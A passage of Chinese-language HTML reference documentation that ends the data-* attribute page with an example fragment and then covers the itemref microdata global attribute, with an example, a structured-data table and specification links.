  data-ship-id="324" data-weapons="laserI laserII" data-shields="72%"
  data-x="414354" data-y="85160" data-z="31940"
  onclick="spaceships[this.dataset.shipId].blasted()">
</img>
```


有关使用 HTML 数据属性的更深入的教程，请参阅使用数据属性。

规范
--

| Specification |
| --- |
| HTML Standard # attr-data-\* |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

相关链接

* 所有的全局属性
* `HTMLElement.dataset` 属性允许访问和修改这些值
* 使用数据属性
itemref
=======

**`itemref`** 全局属性 不具有 `itemscope` 属性的元素的后代，才可以与具有 **`itemref`** 的元素关联。`itemref` 提供了元素 id（并不是 `itemid`）的列表，并具有文档其他地方的额外属性。

`itemref` 属性只能在指定了 `itemscope` 的元素上指定。

**注：**`itemref` 属性并不是 microdata 数据模型的一部分。它仅仅是个语义结构，用于帮助作者向页面添加注解，其中被注解的数据不遵循便利的树结构。例如，它允许作者标记表格中的数据，以便每一列定义一个单独的条目，同时在表格中保留属性。

示例
--

### HTML


```html
<div itemscope id="amanda" itemref="a b"></div>
<p id="a">Name: <span itemprop="name">Amanda</span></p>
<div id="b" itemprop="band" itemscope itemref="c"></div>
<div id="c">
  <p>Band: <span itemprop="name">Jazz Band</span></p>
  <p>Size: <span itemprop="size">12</span> players</p>
</div>
```

### 结构化数据

| id's | itemscope | itemref |  | (itemprop name) | (itemprop value) |
| --- | --- | --- | --- | --- | --- |
| id=amanda | itemscope | itemref=a,b |  |  |  |
| id=a |  |  | itemprop | name | Amanda |
| id=b | itemscope | itemref=c |  | band |  |
| id=c |  |  | itemprop | Band | Jazz Band |
|  |  | itemprop | Size | 12 |

### 结果

规范
--

| Specification |
| --- |
| HTML Standard # attr-itemref |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参阅
--

* 其他不同的全局属性
* 其他 microdata 相关的全局属性
    + `itemid`
    + `itemprop`
    + `itemref`
    + `itemscope`
    + `itemtype`